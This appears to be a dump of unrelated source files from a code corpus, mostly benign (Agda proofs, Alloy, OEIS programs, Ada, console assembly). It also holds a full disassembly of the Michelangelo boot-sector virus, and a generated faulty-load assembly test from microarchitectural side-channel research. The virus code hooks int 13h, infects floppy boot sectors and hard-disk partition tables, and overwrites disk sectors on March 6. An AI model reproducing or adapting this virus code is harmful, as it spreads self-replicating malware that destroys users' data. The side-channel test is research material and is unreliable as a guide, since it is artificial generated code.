begin (c2cauchy {TIMES (PLUS t₁ t₂) t₃} (dist ◎ factor)
≡⟨ refl ⟩
scompcauchy (idcauchy ((size t₁ + size t₂) * size t₃))
(subst Cauchy (sym (distribʳ-*-+ (size t₃) (size t₁) (size t₂)))
(idcauchy ((size t₁ * size t₃) + (size t₂ * size t₃))))
≡⟨ cong
(scompcauchy (idcauchy ((size t₁ + size t₂) * size t₃)))
(congD! idcauchy
(sym (distribʳ-*-+ (size t₃) (size t₁) (size t₂)))) ⟩
scompcauchy (idcauchy ((size t₁ + size t₂) * size t₃))
(idcauchy ((size t₁ + size t₂) * size t₃))
≡⟨ scomplid (idcauchy ((size t₁ + size t₂) * size t₃)) ⟩
c2cauchy {TIMES (PLUS t₁ t₂) t₃} id⟷ ∎)
where open ≡-Reasoning
rinv∼ {t} {.t} {id⟷} =
begin (c2cauchy {t} (id⟷ ◎ id⟷)
≡⟨ refl ⟩
scompcauchy (idcauchy (size t)) (idcauchy (size t))
≡⟨ scomplid (idcauchy (size t)) ⟩
c2cauchy {t} id⟷ ∎)
where open ≡-Reasoning
rinv∼ {t₁} {t₃} {_◎_ {t₂ = t₂} c₁ c₂} =
begin (c2cauchy {t₃} (((! c₂) ◎ (! c₁)) ◎ (c₁ ◎ c₂))
≡⟨ refl ⟩
scompcauchy
(scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂)) (c2cauchy (! c₁))))
(subst Cauchy (trans (size≡! (! c₁)) (size≡! (! c₂)))
(scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) (c2cauchy c₂))))
≡⟨ sym (scompassoc
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂)) (c2cauchy (! c₁)))
(subst Cauchy (trans (size≡! (! c₁)) (size≡! (! c₂)))
(scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) (c2cauchy c₂))))) ⟩
scompcauchy
(c2cauchy (! c₂))
(scompcauchy
(subst Cauchy (size≡! (! c₂)) (c2cauchy (! c₁)))
(subst Cauchy (trans (size≡! (! c₁)) (size≡! (! c₂)))
(scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) (c2cauchy c₂)))))
≡⟨ cong
(λ x → scompcauchy
(c2cauchy (! c₂))
(scompcauchy
(subst Cauchy (size≡! (! c₂)) (c2cauchy (! c₁)))
x))
(sym (subst-trans (size≡! (! c₂)) (size≡! (! c₁))
(scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) (c2cauchy c₂))))) ⟩
scompcauchy
(c2cauchy (! c₂))
(scompcauchy
(subst Cauchy (size≡! (! c₂)) (c2cauchy (! c₁)))
(subst Cauchy (size≡! (! c₂))
(subst Cauchy (size≡! (! c₁))
(scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) (c2cauchy c₂))))))
≡⟨ cong
(scompcauchy (c2cauchy (! c₂)))
(sym (subst-dist scompcauchy (size≡! (! c₂))
(c2cauchy (! c₁))
(subst Cauchy (size≡! (! c₁))
(scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) (c2cauchy c₂)))))) ⟩
scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂))
(scompcauchy
(c2cauchy (! c₁))
(subst Cauchy (size≡! (! c₁))
(scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) (c2cauchy c₂))))))
≡⟨ cong
(λ x → scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂))
(scompcauchy (c2cauchy (! c₁)) x)))
(subst-dist scompcauchy (size≡! (! c₁))
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) (c2cauchy c₂))) ⟩
scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂))
(scompcauchy
(c2cauchy (! c₁))
(scompcauchy
(subst Cauchy (size≡! (! c₁)) (c2cauchy c₁))
(subst Cauchy (size≡! (! c₁))
(subst Cauchy (size≡! c₁) (c2cauchy c₂))))))
≡⟨ cong
(λ x → scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂)) x))
(scompassoc
(c2cauchy (! c₁))
(subst Cauchy (size≡! (! c₁)) (c2cauchy c₁))
(subst Cauchy (size≡! (! c₁))
(subst Cauchy (size≡! c₁) (c2cauchy c₂)))) ⟩
scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂))
(scompcauchy
(scompcauchy
(c2cauchy (! c₁))
(subst Cauchy (size≡! (! c₁)) (c2cauchy c₁)))
(subst Cauchy (size≡! (! c₁))
(subst Cauchy (size≡! c₁) (c2cauchy c₂)))))
≡⟨ cong
(λ x → scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂))
(scompcauchy
x
(subst Cauchy (size≡! (! c₁))
(subst Cauchy (size≡! c₁) (c2cauchy c₂))))))
(rinv∼ {t₁} {t₂} {c₁}) ⟩
scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂))
(scompcauchy
(allFin (size t₂))
(subst Cauchy (size≡! (! c₁))
(subst Cauchy (size≡! c₁) (c2cauchy c₂)))))
≡⟨ cong
(λ x → scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂)) x))
(scomplid
(subst Cauchy (size≡! (! c₁))
(subst Cauchy (size≡! c₁) (c2cauchy c₂)))) ⟩
scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂))
(subst Cauchy (size≡! (! c₁))
(subst Cauchy (size≡! c₁) (c2cauchy c₂))))
≡⟨ cong
(λ x → scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂)) x))
(subst-trans (size≡! (! c₁)) (size≡! c₁) (c2cauchy c₂)) ⟩
scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂))
(subst Cauchy (trans (size≡! c₁) (size≡! (! c₁)))
(c2cauchy c₂)))
≡⟨ cong
(λ x → scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂))
(subst Cauchy x (c2cauchy c₂))))
(trans
(cong (λ y → trans (size≡! c₁) y) (size≡!! c₁))
(trans-symr (size≡! c₁))) ⟩
scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂)) (c2cauchy c₂))
≡⟨ rinv∼ {t₂} {t₃} {c₂} ⟩
c2cauchy {t₃} id⟷ ∎)
where open ≡-Reasoning
rinv∼ {PLUS t₁ t₂} {PLUS t₃ t₄} {c₁ ⊕ c₂} =
begin (c2cauchy {PLUS t₃ t₄} (((! c₁) ⊕ (! c₂)) ◎ (c₁ ⊕ c₂))
≡⟨ refl ⟩
scompcauchy
(pcompcauchy (c2cauchy (! c₁)) (c2cauchy (! c₂)))
(subst Cauchy (cong₂ _+_ (size≡! (! c₁)) (size≡! (! c₂)))
(pcompcauchy (c2cauchy c₁) (c2cauchy c₂)))
≡⟨ cong
(scompcauchy (pcompcauchy (c2cauchy (! c₁)) (c2cauchy (! c₂))))
(subst₂+
(size≡! (! c₁)) (size≡! (! c₂))
(c2cauchy c₁) (c2cauchy c₂)
pcompcauchy) ⟩
scompcauchy
(pcompcauchy (c2cauchy (! c₁)) (c2cauchy (! c₂)))
(pcompcauchy
(subst Cauchy (size≡! (! c₁)) (c2cauchy c₁))
(subst Cauchy (size≡! (! c₂)) (c2cauchy c₂)))
≡⟨ pcomp-dist
(c2cauchy (! c₁))
(subst Cauchy (size≡! (! c₁)) (c2cauchy c₁))
(c2cauchy (! c₂)) (subst Cauchy (size≡! (! c₂)) (c2cauchy c₂)) ⟩
pcompcauchy
(scompcauchy
(c2cauchy (! c₁))
(subst Cauchy (size≡! (! c₁)) (c2cauchy c₁)))
(scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂)) (c2cauchy c₂)))
≡⟨ cong₂ pcompcauchy (rinv∼ {t₁} {t₃} {c₁}) (rinv∼ {t₂} {t₄} {c₂}) ⟩
pcompcauchy (c2cauchy {t₃} id⟷) (c2cauchy {t₄} id⟷)
≡⟨ pcomp-id {size t₃} {size t₄} ⟩
c2cauchy {PLUS t₃ t₄} id⟷ ∎)
where open ≡-Reasoning
rinv∼ {TIMES t₁ t₂} {TIMES t₃ t₄} {c₁ ⊗ c₂} =
begin (c2cauchy {TIMES t₃ t₄} (((! c₁) ⊗ (! c₂)) ◎ (c₁ ⊗ c₂))
≡⟨ refl ⟩
scompcauchy
(tcompcauchy (c2cauchy (! c₁)) (c2cauchy (! c₂)))
(subst Cauchy (cong₂ _*_ (size≡! (! c₁)) (size≡! (! c₂)))
(tcompcauchy (c2cauchy c₁) (c2cauchy c₂)))
≡⟨ cong
(scompcauchy (tcompcauchy (c2cauchy (! c₁)) (c2cauchy (! c₂))))
(subst₂*
(size≡! (! c₁)) (size≡! (! c₂))
(c2cauchy c₁) (c2cauchy c₂)
tcompcauchy) ⟩
scompcauchy
(tcompcauchy (c2cauchy (! c₁)) (c2cauchy (! c₂)))
(tcompcauchy
(subst Cauchy (size≡! (! c₁)) (c2cauchy c₁))
(subst Cauchy (size≡! (! c₂)) (c2cauchy c₂)))
≡⟨ tcomp-dist
(c2cauchy (! c₁))
(subst Cauchy (size≡! (! c₁)) (c2cauchy c₁))
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂)) (c2cauchy c₂)) ⟩
tcompcauchy
(scompcauchy
(c2cauchy (! c₁))
(subst Cauchy (size≡! (! c₁)) (c2cauchy c₁)))
(scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂)) (c2cauchy c₂)))
≡⟨ cong₂ tcompcauchy (rinv∼ {t₁} {t₃} {c₁}) (rinv∼ {t₂} {t₄} {c₂}) ⟩
tcompcauchy (c2cauchy {t₃} id⟷) (c2cauchy {t₄} id⟷)
≡⟨ tcomp-id {size t₃} {size t₄} ⟩
c2cauchy {TIMES t₃ t₄} id⟷ ∎)
where open ≡-Reasoning
rinv∼ {PLUS ONE ONE} {BOOL} {foldBool} =
begin (c2cauchy {BOOL} (unfoldBool ◎ foldBool)
≡⟨ refl ⟩
scompcauchy (idcauchy 2) (idcauchy 2)
≡⟨ scomplid (idcauchy 2) ⟩
c2cauchy {BOOL} id⟷ ∎)
where open ≡-Reasoning
rinv∼ {BOOL} {PLUS ONE ONE} {unfoldBool} =
begin (c2cauchy {PLUS ONE ONE} (foldBool ◎ unfoldBool)
≡⟨ refl ⟩
scompcauchy (idcauchy 2) (idcauchy 2)
≡⟨ scomplid (idcauchy 2) ⟩
c2cauchy {PLUS ONE ONE} id⟷ ∎)
where open ≡-Reasoning
resp∼ : {t₁ t₂ t₃ : U} {c₁ c₂ : t₁ ⟷ t₂} {c₃ c₄ : t₂ ⟷ t₃} →
(c₁ ∼ c₂) → (c₃ ∼ c₄) → (c₁ ◎ c₃ ∼ c₂ ◎ c₄)
resp∼ {t₁} {t₂} {t₃} {c₁} {c₂} {c₃} {c₄} c₁∼c₂ c₃∼c₄ =
begin (c2cauchy (c₁ ◎ c₃)
≡⟨ refl ⟩
scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) (c2cauchy c₃))
≡⟨ cong₂
(λ x y → scompcauchy x (subst Cauchy (size≡! c₁) y))
c₁∼c₂ c₃∼c₄ ⟩
scompcauchy
(c2cauchy c₂)
(subst Cauchy (size≡! c₁) (c2cauchy c₄))
≡⟨ cong
(λ x → scompcauchy (c2cauchy c₂) (subst Cauchy x (c2cauchy c₄)))
(size∼! c₁ c₂) ⟩
scompcauchy
(c2cauchy c₂)
(subst Cauchy (size≡! c₂) (c2cauchy c₄))
≡⟨ refl ⟩
c2cauchy (c₂ ◎ c₄) ∎)
where open ≡-Reasoning
-- The equivalence ∼ of paths makes U a 1groupoid: the points are
-- types (t : U); the 1paths are ⟷; and the 2paths between them are
-- based on extensional equivalence ∼
G : 1Groupoid
G = record
{ set = U
; _↝_ = _⟷_
; _≈_ = _∼_
; id = id⟷
; _∘_ = λ p q → q ◎ p
; _⁻¹ = !
; lneutr = λ c → c◎id∼c {c = c}
; rneutr = λ c → id◎c∼c {c = c}
; assoc = λ c₃ c₂ c₁ → assoc∼ {c₁ = c₁} {c₂ = c₂} {c₃ = c₃}
; equiv = record {
refl = λ {c} → refl∼ {c = c}
; sym = λ {c₁} {c₂} → sym∼ {c₁ = c₁} {c₂ = c₂}
; trans = λ {c₁} {c₂} {c₃} → trans∼ {c₁ = c₁} {c₂ = c₂} {c₃ = c₃}
}
; linv = λ c → linv∼ {c = c}
; rinv = λ c → rinv∼ {c = c}
; ∘-resp-≈ = λ {t₁} {t₂} {t₃} {p} {q} {r} {s} p∼q r∼s →
resp∼ {t₁} {t₂} {t₃} {r} {s} {p} {q} r∼s p∼q
}
-- There are additional laws that should hold:
--
-- assoc⊕∼ : {t₁ t₂ t₃ t₄ t₅ t₆ : U}
-- {c₁ : t₁ ⟷ t₂} {c₂ : t₃ ⟷ t₄} {c₃ : t₅ ⟷ t₆} →
-- c₁ ⊕ (c₂ ⊕ c₃) ∼ assocl₊ ◎ ((c₁ ⊕ c₂) ⊕ c₃) ◎ assocr₊
--
-- assoc⊗∼ : {t₁ t₂ t₃ t₄ t₅ t₆ : U}
-- {c₁ : t₁ ⟷ t₂} {c₂ : t₃ ⟷ t₄} {c₃ : t₅ ⟷ t₆} →
-- c₁ ⊗ (c₂ ⊗ c₃) ∼ assocl⋆ ◎ ((c₁ ⊗ c₂) ⊗ c₃) ◎ assocr⋆
--
-- but we will turn our attention to completeness below (in Pif2) in a more
-- systematic way.
------------------------------------------------------------------------------
|
alloy4fun_models/trashltl/models/11/3xojvgTDQpXqP7Evu.als | Kaixi26/org.alloytools.alloy | 0 | 2957 | open main
pred id3xojvgTDQpXqP7Evu_prop12 {
once all f: File | eventually f in Trash
}
pred __repair { id3xojvgTDQpXqP7Evu_prop12 }
check __repair { id3xojvgTDQpXqP7Evu_prop12 <=> prop12o } |
data/mapHeaders/vermilionhouse1.asm | adhi-thirumala/EvoYellow | 16 | 89071 | <gh_stars>10-100
VermilionHouse1_h:
db HOUSE ; tileset
db VERMILION_HOUSE_1_HEIGHT, VERMILION_HOUSE_1_WIDTH ; dimensions (y, x)
dw VermilionHouse1Blocks, VermilionHouse1TextPointers, VermilionHouse1Script ; blocks, texts, scripts
db $00 ; connections
dw VermilionHouse1Object ; objects
|
programs/oeis/178/A178536.asm | neoneye/loda | 22 | 89402 | <reponame>neoneye/loda<gh_stars>10-100
; A178536: First column of A178535.
; 1,-2,-1,0,-1,1,-1,0,0,1,-1,0,-1,1,1,0,-1,0,-1,0,1,1,-1,0,0,1,0,0,-1,-1,-1,0,1,1,1,0,-1,1,1,0,-1,-1,-1,0,0,1,-1,0,0,0,1,0,-1,0,1,0,1,1,-1,0,-1,1,0,0,1,-1,-1,0,1,-1,-1,0,-1,1,0,0,1,-1,-1,0,0,1,-1,0,1,1,1,0,-1,0,1,0,1,1,1,0,-1,0,0,0
mov $2,1
cmp $2,$0
seq $0,8683 ; Möbius (or Moebius) function mu(n). mu(1) = 1; mu(n) = (-1)^k if n is the product of k different primes; otherwise mu(n) = 0.
sub $0,$2
|
src/assembler/Assembler/Simple2.asm | karashily/PDP-11 | 0 | 1262 | <gh_stars>0
INC R1
INC R1
DEC R1
CLR R1
DEC R0
DEC R0
ROR R0
ASR R0
HLT |
3-mid/opengl/source/profile/desk/opengl-profile.adb | charlie5/lace | 20 | 22456 | separate (openGL)
function Profile return profile_Kind
is
begin
return Desk;
end Profile;
|
programs/oeis/214/A214062.asm | karttu/loda | 1 | 243704 | ; A214062: Least m>0 such that gcd(2*n+m, 2*n-1-m) > 1.
; 1,3,5,1,9,11,1,15,2,1,21,23,1,2,29,1,33,35,1,39,41,1,3,2,1,51,53,1,2,3,1,63,65,1,69,5,1,75,2,1,81,83,1,2,89,1,5,95,1,99,3,1,105,2,1,111,113,1,2,119,1,6,125,1,3,131,1,135,2,1,141,3,1,2,6,1,153,155,1,5,8,1,165,2,1,3,173,1,2,179,1,183,3,1,189,191,1,8,2,1,6,5,1,2,209,1,3,215,1,219,221,1,5,2,1,231,233,1,2,239,1,243,245,1,249,251,1,3,2,1,261,8,1,2,3,1,273,9,1,6,281,1,285,2,1,5,293,1,2,299,1,303,6,1,309,3,1,315,2,1,321,323,1,2,329,1,11,5,1,3,341,1,345,2,1,9,3,1,2,359,1,363,8,1,369,371,1,375,2,1,3,6,1,2,9,1,393,3,1,8,5,1,405,2,1,411,413,1,2,419,1,3,11,1,429,431,1,6,2,1,441,443,1,2,14,1,453,455,1,459,6,1,3,2,1,11,473,1,2,3,1,483,485,1,5,491,1,495,2,1
mul $0,2
add $0,1
cal $0,90368 ; a(1) = 1; for n>1, smallest divisor > 1 of 2n-1.
mov $1,$0
div $1,2
|
src/apsepp-calendar.ads | thierr26/ada-apsepp | 0 | 25802 | -- Copyright (C) 2019 <NAME> <<EMAIL>>
-- MIT license. Please refer to the LICENSE file.
with Ada.Calendar; use Ada.Calendar;
with Ada.Calendar.Time_Zones; use Ada.Calendar.Time_Zones;
package Apsepp.Calendar is
Time_First : constant Time := Time_Of (Year => Year_Number'First,
Month => Month_Number'First,
Day => Day_Number'First,
Seconds => Day_Duration'First);
function Unknown_Time_zone return Boolean;
function Default_Time_Offset return Time_Offset
is (if Unknown_Time_zone then
0
else
UTC_Time_Offset);
function To_ISO_8601
(Date : Time;
Time_Zone : Time_Offset := Default_Time_Offset;
Include_Time_Fraction : Boolean := False) return String;
end Apsepp.Calendar;
|
MSDOS/Virus.MSDOS.Unknown.mich.asm | fengjixuchui/Family | 3 | 87327 | ; This is a disassembly of the much-hyped michelangelo virus.
; As you can see, it is a derivative of the Stoned virus. The
; junk bytes at the end of the file are probably throwbacks to
; the Stoned virus. In any case, it is yet another boot sector
; and partition table infector.
michelangelo segment byte public
assume cs:michelangelo, ds:michelangelo
; Disassembly by Dark Angel of PHALCON/SKISM
org 0
jmp entervirus
highmemjmp db 0F5h, 00h, 80h, 9Fh
maxhead db 2 ; used by damagestuff
firstsector dw 3
oldint13h dd 0C8000256h
int13h:
push ds
push ax
or dl, dl ; default drive?
jnz exitint13h ; exit if not
xor ax, ax
mov ds, ax
test byte ptr ds:[43fh], 1 ; disk 0 on?
jnz exitint13h ; if not spinning, exit
pop ax
pop ds
pushf
call dword ptr cs:[oldint13h]; first call old int 13h
pushf
call infectdisk ; then infect
popf
retf 2
exitint13h: pop ax
pop ds
jmp dword ptr cs:[oldint13h]
infectdisk:
push ax
push bx
push cx
push dx
push ds
push es
push si
push di
push cs
pop ds
push cs
pop es
mov si, 4
readbootblock:
mov ax,201h ; Read boot block to
mov bx,200h ; after virus
mov cx,1
xor dx,dx
pushf
call oldint13h
jnc checkinfect ; continue if no error
xor ax,ax
pushf
call oldint13h ; Reset disk
dec si ; loop back
jnz readbootblock
jmp short quitinfect ; exit if too many failures
checkinfect:
xor si,si
cld
lodsw
cmp ax,[bx] ; check if already infected
jne infectitnow
lodsw
cmp ax,[bx+2] ; check again
je quitinfect
infectitnow:
mov ax,301h ; Write old boot block
mov dh,1 ; to head 1
mov cl,3 ; sector 3
cmp byte ptr [bx+15h],0FDh ; 360k disk?
je is360Kdisk
mov cl,0Eh
is360Kdisk:
mov firstsector,cx
pushf
call oldint13h
jc quitinfect ; exit on error
mov si,200h+offset partitioninfo
mov di,offset partitioninfo
mov cx,21h ; Copy partition table
cld
rep movsw
mov ax,301h ; Write virus to sector 1
xor bx,bx
mov cx,1
xor dx,dx
pushf
call oldint13h
quitinfect:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
entervirus:
xor ax,ax
mov ds,ax
cli
mov ss,ax
mov ax,7C00h ; Set stack to just below
mov sp,ax ; virus load point
sti
push ds ; save 0:7C00h on stack for
push ax ; later retf
mov ax,ds:[13h*4]
mov word ptr ds:[7C00h+offset oldint13h],ax
mov ax,ds:[13h*4+2]
mov word ptr ds:[7C00h+offset oldint13h+2],ax
mov ax,ds:[413h] ; memory size in K
dec ax ; 1024 K
dec ax
mov ds:[413h],ax ; move new value in
mov cl,6
shl ax,cl ; ax = paragraphs of memory
mov es,ax ; next line sets seg of jmp
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
mov ax,offset int13h
mov ds:[13h*4],ax
mov ds:[13h*4+2],es
mov cx,offset partitioninfo
mov si,7C00h
xor di,di
cld
rep movsb ; copy to high memory
; and transfer control there
jmp dword ptr cs:[7C00h+offset highmemjmp]
; destination of highmem jmp
xor ax,ax
mov es,ax
int 13h ; reset disk
push cs
pop ds
mov ax,201h
mov bx,7C00h
mov cx,firstsector
cmp cx,7 ; hard disk infection?
jne floppyboot ; if not, do floppies
mov dx,80h ; Read old partition table of
int 13h ; first hard disk to 0:7C00h
jmp short exitvirus
floppyboot:
mov cx,firstsector ; read old boot block
mov dx,100h ; to 0:7C00h
int 13h
jc exitvirus
push cs
pop es
mov ax,201h ; read boot block
mov bx,200h ; of first hard disk
mov cx,1
mov dx,80h
int 13h
jc exitvirus
xor si,si
cld
lodsw
cmp ax,[bx] ; is it infected?
jne infectharddisk ; if not, infect HD
lodsw ; check infection
cmp ax,[bx+2]
jne infectharddisk
exitvirus:
xor cx,cx ; Real time clock get date
mov ah,4 ; dx = mon/day
int 1Ah
cmp dx,306h ; March 6th
je damagestuff
retf ; return control to original
; boot block @ 0:7C00h
damagestuff:
xor dx,dx
mov cx,1
smashanothersector:
mov ax,309h
mov si,firstsector
cmp si,3
je smashit
mov al,0Eh
cmp si,0Eh
je smashit
mov dl,80h ; first hard disk
mov maxhead,4
mov al,11h
smashit:
mov bx,5000h ; random memory area
mov es,bx ; at 5000h:5000h
int 13h ; Write al sectors to drive dl
jnc skiponerror ; skip on error
xor ah,ah ; Reset disk drive dl
int 13h
skiponerror:
inc dh ; next head
cmp dh,maxhead ; 2 if floppy, 4 if HD
jb smashanothersector
xor dh,dh ; go to next head/cylinder
inc ch
jmp short smashanothersector
infectharddisk:
mov cx,7 ; Write partition table to
mov firstsector,cx ; sector 7
mov ax,301h
mov dx,80h
int 13h
jc exitvirus
mov si,200h+offset partitioninfo ; Copy partition
mov di,offset partitioninfo ; table information
mov cx,21h
rep movsw
mov ax,301h ; Write to sector 8
xor bx,bx ; Copy virus to sector 1
inc cl
int 13h
;* jmp short 01E0h
db 0EBh, 32h ; ?This should crash?
; The following bytes are meaningless.
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
partitioninfo: db 42h dup (0)
michelangelo ends
end
|
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sccz80/SMS_loadTiles_callee.asm | jpoikela/z88dk | 640 | 89545 | <reponame>jpoikela/z88dk
; void SMS_loadTiles(void *src, unsigned int tilefrom, unsigned int size)
SECTION code_clib
SECTION code_SMSlib
PUBLIC SMS_loadTiles_callee
EXTERN asm_SMSlib_loadTiles
SMS_loadTiles_callee:
pop af
pop bc
pop hl
pop de
push af
jp asm_SMSlib_loadTiles
|
oeis/229/A229472.asm | neoneye/loda-programs | 11 | 7458 | ; A229472: Number of defective 4-colorings of an n X 1 0..3 array connected horizontally, antidiagonally and vertically with exactly one mistake, and colors introduced in row-major 0..3 order.
; 0,1,2,6,20,70,246,854,2920,9846,32810,108262,354300,1151462,3720094,11957430,38263760,121965718,387420498,1226831558,3874204900,12203745414,38354628422,120294061846,376572715320,1176789735350,3671583974266,11438396227494,35586121596620,110571163532326,343151886824430,1063770849155702,3294258113514400,10191611038685142,31501343210481314,97283559914721670,300189270593998260,925583584331494598,2851798070642983318,8780536164874448598,27017034353459841800,83077380636889013494,255310974640195504842
mov $1,$0
sub $0,1
trn $0,1
mov $2,3
pow $2,$0
add $2,1
mul $1,$2
mov $0,$1
div $0,2
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1047.asm | ljhsiun2/medusa | 9 | 243094 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x3fa4, %rsi
lea addresses_WC_ht+0x2ca4, %rdi
clflush (%rsi)
nop
nop
nop
nop
inc %r12
mov $15, %rcx
rep movsl
nop
nop
nop
nop
dec %r10
lea addresses_A_ht+0xd0b4, %rbx
nop
nop
nop
nop
dec %rbp
movl $0x61626364, (%rbx)
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_D_ht+0x7a4, %rsi
lea addresses_normal_ht+0x1d2a4, %rdi
nop
nop
nop
inc %rbp
mov $127, %rcx
rep movsq
nop
cmp %rbp, %rbp
lea addresses_UC_ht+0x18104, %rcx
nop
nop
nop
nop
nop
sub %r10, %r10
movb $0x61, (%rcx)
nop
nop
nop
nop
add $19781, %rcx
lea addresses_normal_ht+0x84a4, %rsi
lea addresses_WC_ht+0x3a64, %rdi
nop
nop
nop
sub %r11, %r11
mov $120, %rcx
rep movsq
nop
nop
sub $21775, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %rax
push %rbp
push %rcx
push %rdx
// Load
lea addresses_UC+0xc6a4, %r14
and %r11, %r11
movups (%r14), %xmm7
vpextrq $1, %xmm7, %rax
nop
nop
nop
nop
nop
sub %r14, %r14
// Load
lea addresses_PSE+0xdfd4, %rbp
clflush (%rbp)
nop
nop
nop
and %rcx, %rcx
mov (%rbp), %r11
nop
nop
nop
nop
sub $64544, %rax
// Faulty Load
lea addresses_PSE+0x10ca4, %rbp
sub $35465, %rdx
mov (%rbp), %rax
lea oracles, %rbp
and $0xff, %rax
shlq $12, %rax
mov (%rbp,%rax,1), %rax
pop %rdx
pop %rcx
pop %rbp
pop %rax
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 8, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 